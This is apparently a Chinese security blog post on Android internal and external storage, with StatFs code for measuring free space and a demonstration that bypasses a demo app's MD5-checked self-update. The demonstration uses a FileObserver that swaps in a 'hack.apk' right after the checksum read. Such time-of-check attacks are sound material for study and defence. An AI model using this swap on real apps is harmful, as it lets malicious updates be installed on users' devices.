Android存储空间安全性初探
存储是Android中不可缺少的一部分,无论是CPU缓存、运行内存还是存储卡都在Android里充当着重要的角色,我们经常在开发中用到手机里的存储空间,但我们是否真正的清楚数据实际都存放在哪里呢?存储的位置又是否安全呢?下面就一起来探讨一下这两个问题。
存储空间划分
内存
内存是一个比较容易混淆的概念,在手机里,一般说的手机内存大小可能有两种概念,分别是运行内存(memory)与存储空间(storage)。而存储空间又分内部存储(internal storage)与外部存储(external storage)。
内部存储
官方文档解析:
外部存储
与内部存储不同,外部存储是公开的,任何应用都能访问(Android6.0后写入需要动态申请权限),可以通过Environment.getExternalStorageDirectory()来获取外部存储的根目录。
在Android4.4前,内部存储与外部存储是有明显区分的,内部存储就是手机内置的存储卡,而外部存储指外置的sd卡。Android4.4后,很多手机自身的存储空间已经达到16G、32G甚至更高,他们不需要外置sd卡也可以满足日常使用需求,但这些空间并不是全部都是内部存储,下面用代码来验证一下。
我们可以通过Android提供的StatFs类来查询手机的文件系统信息区块大小乘以区块数量即可得到总大小:
/**
* 获取手机内部剩余存储空间
*/
publicstaticlong getAvailableInternalStorageSize() {
File path = Environment.getDataDirectory();
StatFs stat = newStatFs(path.getPath());
long blockSize = stat.getBlockSizeLong();
long availableBlocks = stat.getAvailableBlocksLong();
return availableBlocks * blockSize;
}
/**
* 获取手机内部总的存储空间
*/
publicstaticlong getTotalInternalStorageSize() {
File path = Environment.getDataDirectory();
StatFs stat = newStatFs(path.getPath());
long blockSize = stat.getBlockSizeLong();
long totalBlocks = stat.getBlockCountLong();
return totalBlocks * blockSize;
}
/**
* 获取sd卡剩余存储空间
*/
publicstaticlong getAvailableExternalStorageSize() {
File path = Environment.getExternalStorageDirectory();
StatFs stat = newStatFs(path.getPath());
long blockSize = stat.getBlockSizeLong();
long availableBlocks = stat.getAvailableBlocksLong();
return availableBlocks * blockSize;
}
/**
* 获取sd卡总的存储空间
*/
publicstaticlong getTotalExternalStorageSize() {
File path = Environment.getExternalStorageDirectory();
StatFs stat = newStatFs(path.getPath());
long blockSize = stat.getBlockSizeLong();
long totalBlocks = stat.getBlockCountLong();
return totalBlocks * blockSize;
}
将一个大约529MB的文件push到某应用的内部存储后:
将一个大约529MB的文件push到sd卡后:
可见两次操作后内部存储可sd卡的可用空间都同时减少了相同的大小,所以,Android手机出厂时所标的存储空间,是包括了内部存储与外部存储的。
常见安全问题
举个例子:
现在许多应用都有自升级功能,用户可以根据应用提示或自己手动进行升级。大部分应用进行升级时,都会从服务器下载一个新版本的apk进行覆盖安装,假如apk被缓存在sd卡中,就会有被替换的风险。
该DEMO提供一个自升级的功能,点击检查更新后,会从服务器下载更新包到本地并进行安装。
通过简单的逆向分析后,发现应用首先会将更新包下载到sd卡里,校验MD5后再进行安装。
更新过一次后查看sd卡的Download目录,果然发现了安装包的缓存,下面尝试直接替换:
由于应用做了MD5校验,所以直接替换肯定是妥妥的失败。
0x02
public class SdcardBypassListener extends FileObserver {
private static final String TAG = "SdcardBypassListener";
int TIMES;
@Override
public void onEvent(int i, String s) {
if (!"com.example.sdcarddemo.apk".equals(s)) {
return;
}
if (CLOSE_NOWRITE == i) {
TIMES++;
Log.w(TAG, "onEvent: File closed " + TIMES + "times");
} else {
Log.d(TAG, "onEvent: " + i);
}
}
运行日志:
从点击更新到安装界面,文件一共被关闭了2次,猜测第一次关闭为校验操作,那我们尝试在第一次关闭后进行替换:
@Override
public void onEvent(int i, String s) {
if (!"com.example.sdcarddemo.apk".equals(s)) {
return;
}
if (CLOSE_NOWRITE == i) {
TIMES++;
Log.w(TAG, "onEvent: File closed " + TIMES + "times");
} else {
Log.d(TAG, "onEvent: " + i);
}
try {
if (i == CLOSE_NOWRITE) {
if (TIMES >= 1) {
Process p = Runtime.getRuntime().exec("cp /sdcard/hack.apk /sdcard/Download/com.example.sdcarddemo.apk" );
p.waitFor();
}
}
} catch (InterruptedException | IOException e) {
e.printStackTrace();
}
}
更新包成功被替换!可见即使做了文件MD5校验,还是会有被替换的风险。
· 内部存储只有应用自己能够访问,能够保证大部分场景的安全性,而外部存储完全对外公开
· 内部存储与外部存储共用手机的预置存储空间
· 内部存储与外部存储都存在应用包名目录,应用被卸载时会同时被删除
· 重要文件应该存储在内部存储中,否则将有被篡改的风险
更多精彩阅读
END
长按关注 最新动态